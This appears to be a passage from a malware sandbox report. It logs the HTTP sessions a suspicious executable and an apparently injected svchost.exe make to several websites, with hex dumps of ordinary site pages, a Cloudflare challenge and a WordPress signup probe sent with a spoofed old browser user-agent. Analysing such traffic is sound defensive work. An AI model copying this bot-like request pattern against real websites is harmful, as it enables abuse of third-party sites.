2023-03-10 06:56:21 UTC	1475	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:21 UTC	1475	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	57878	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1474	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:22 UTC	1598	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=93 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:22 GMT Connection: close
2023-03-10 06:56:22 UTC	1599	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:22 UTC	1602	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:22 UTC	1610	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:22 UTC	1618	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:22 UTC	1626	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:22 UTC	1634	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:22 UTC	1642	IN	Data Raw: 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 Data Ascii: form-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	58171	188.114.97.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:21 UTC	1475	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:21 UTC	1475	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=spQ6b1NrSCXgC0TuLf9Wy7HOsZcqZKKWwsFZzlfXV2S%2FAPoKqY04rNOV70VHBpnBAP2v7AWMLgzHH7msSVlob7jpVH9Ba7coT11zgj3HRjolN4bzsfAU3TzyzK%2Fp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a845ee04367b-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:21 UTC	1476	IN	Data Raw: 31 65 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ea7<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:21 UTC	1477	IN	Data Raw: 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 Data Ascii: ,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img clas
2023-03-10 06:56:21 UTC	1478	IN	Data Raw: 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 41 5a 46 53 56 74 50 52 38 79 63 70 47 67 67 2e 69 56 62 42 75 55 32 6a 55 31 47 76 44 52 78 58 75 2e 6e 71 68 31 71 35 57 4b 4d 2d 31 36 37 38 34 33 31 33 38 31 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 2e 32 69 58 30 34 77 33 36 43 6a 31 44 33 4f 36 36 4b 4d 31 79 6a 30 4a 52 50 51 36 54 55 5f 38 5a 44 71 32 67 69 53 32 67 62 51 2d 31 36 37 38 34 33 31 33 38 31 2d 30 2d 41 55 Data Ascii: "/?__cf_chl_f_tk=AZFSVtPR8ycpGgg.iVbBuU2jU1GvDRxXu.nqh1q5WKM-1678431381-0-gaNycGzNCPs" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value=".2iX04w36Cj1D3O66KM1yj0JRPQ6TU_8ZDq2giS2gbQ-1678431381-0-AU
2023-03-10 06:56:21 UTC	1479	IN	Data Raw: 53 74 7a 50 64 51 56 69 31 49 72 53 6c 76 5a 43 55 78 77 43 50 53 59 41 72 4e 58 42 59 30 75 66 73 79 5f 71 4d 58 4f 48 4a 55 6b 6b 74 44 79 57 5a 65 62 6a 4e 4e 37 79 54 4b 70 44 52 4b 78 5f 37 50 44 75 54 56 4c 58 52 4d 33 5f 74 43 67 61 43 2d 39 54 6e 41 46 65 51 37 58 30 54 35 43 6d 46 5f 6b 79 64 39 46 4a 46 7a 4e 79 6e 79 5f 62 37 43 34 66 48 51 42 37 71 74 73 6f 4c 52 77 51 34 47 69 4b 31 41 45 62 7a 73 30 2d 66 2d 4a 7a 33 61 6c 74 72 43 62 72 46 55 73 35 77 4e 70 41 57 76 73 31 47 41 79 52 66 50 6f 75 44 63 56 79 78 58 4a 39 69 70 41 79 6a 6f 42 76 37 6a 46 64 55 51 4d 5a 52 33 45 55 75 58 49 4a 54 4b 4b 47 62 4c 6d 4a 59 79 63 45 4a 75 79 53 37 44 39 76 66 31 5a 58 4a 2d 4e 57 6b 6e 77 51 66 63 31 53 57 72 50 38 48 57 4b 56 7a 31 45 53 47 30 6b Data Ascii: StzPdQVi1IrSlvZCUxwCPSYArNXBY0ufsy_qMXOHJUkktDyWZebjNN7yTKpDRKx_7PDuTVLXRM3_tCgaC-9TnAFeQ7X0T5CmF_kyd9FJFzNyny_b7C4fHQB7qtsoLRwQ4GiK1AEbzs0-f-Jz3altrCbrFUs5wNpAWvs1GAyRfPouDcVyxXJ9ipAyjoBv7jFdUQMZR3EUuXIJTKKGbLmJYycEJuyS7D9vf1ZXJ-NWknwQfc1SWrP8HWKVz1ESG0k
2023-03-10 06:56:21 UTC	1481	IN	Data Raw: 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 31 30 34 65 64 62 64 36 63 63 33 37 66 65 63 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 41 5a 46 53 56 74 50 52 38 79 63 70 47 67 67 2e 69 56 62 42 75 55 32 6a 55 31 47 76 44 52 78 58 75 2e 6e 71 68 31 71 35 57 4b 4d 2d 31 36 37 38 34 33 31 33 38 31 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 70 6c 56 3a 20 34 2c 0a 20 20 20 Data Ascii: ', cHash: '104edbd6cc37fec', cUPMDTk: "\/?__cf_chl_tk=AZFSVtPR8ycpGgg.iVbBuU2jU1GvDRxXu.nqh1q5WKM-1678431381-0-gaNycGzNCPs", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0', cTplV: 4,
2023-03-10 06:56:21 UTC	1482	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 7a 6b 50 4c 44 53 67 50 54 38 68 4b 74 61 49 41 48 39 76 35 66 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b 44 59 49 30 4d 48 64 72 6c 6b 3d 27 2c 0a 20 20 20 20 20 20 20 Data Ascii: i2: 'zkPLDSgPT8hKtaIAH9v5fg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7skDYI0MHdrlk=',
2023-03-10 06:56:21 UTC	1483	IN	Data Raw: 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 Data Ascii: po.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinfo"> <div clas
2023-03-10 06:56:21 UTC	1484	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	58261	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:21 UTC	1484	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:21 UTC	1484	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:21 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:21 UTC	1484	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:21 UTC	1500	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
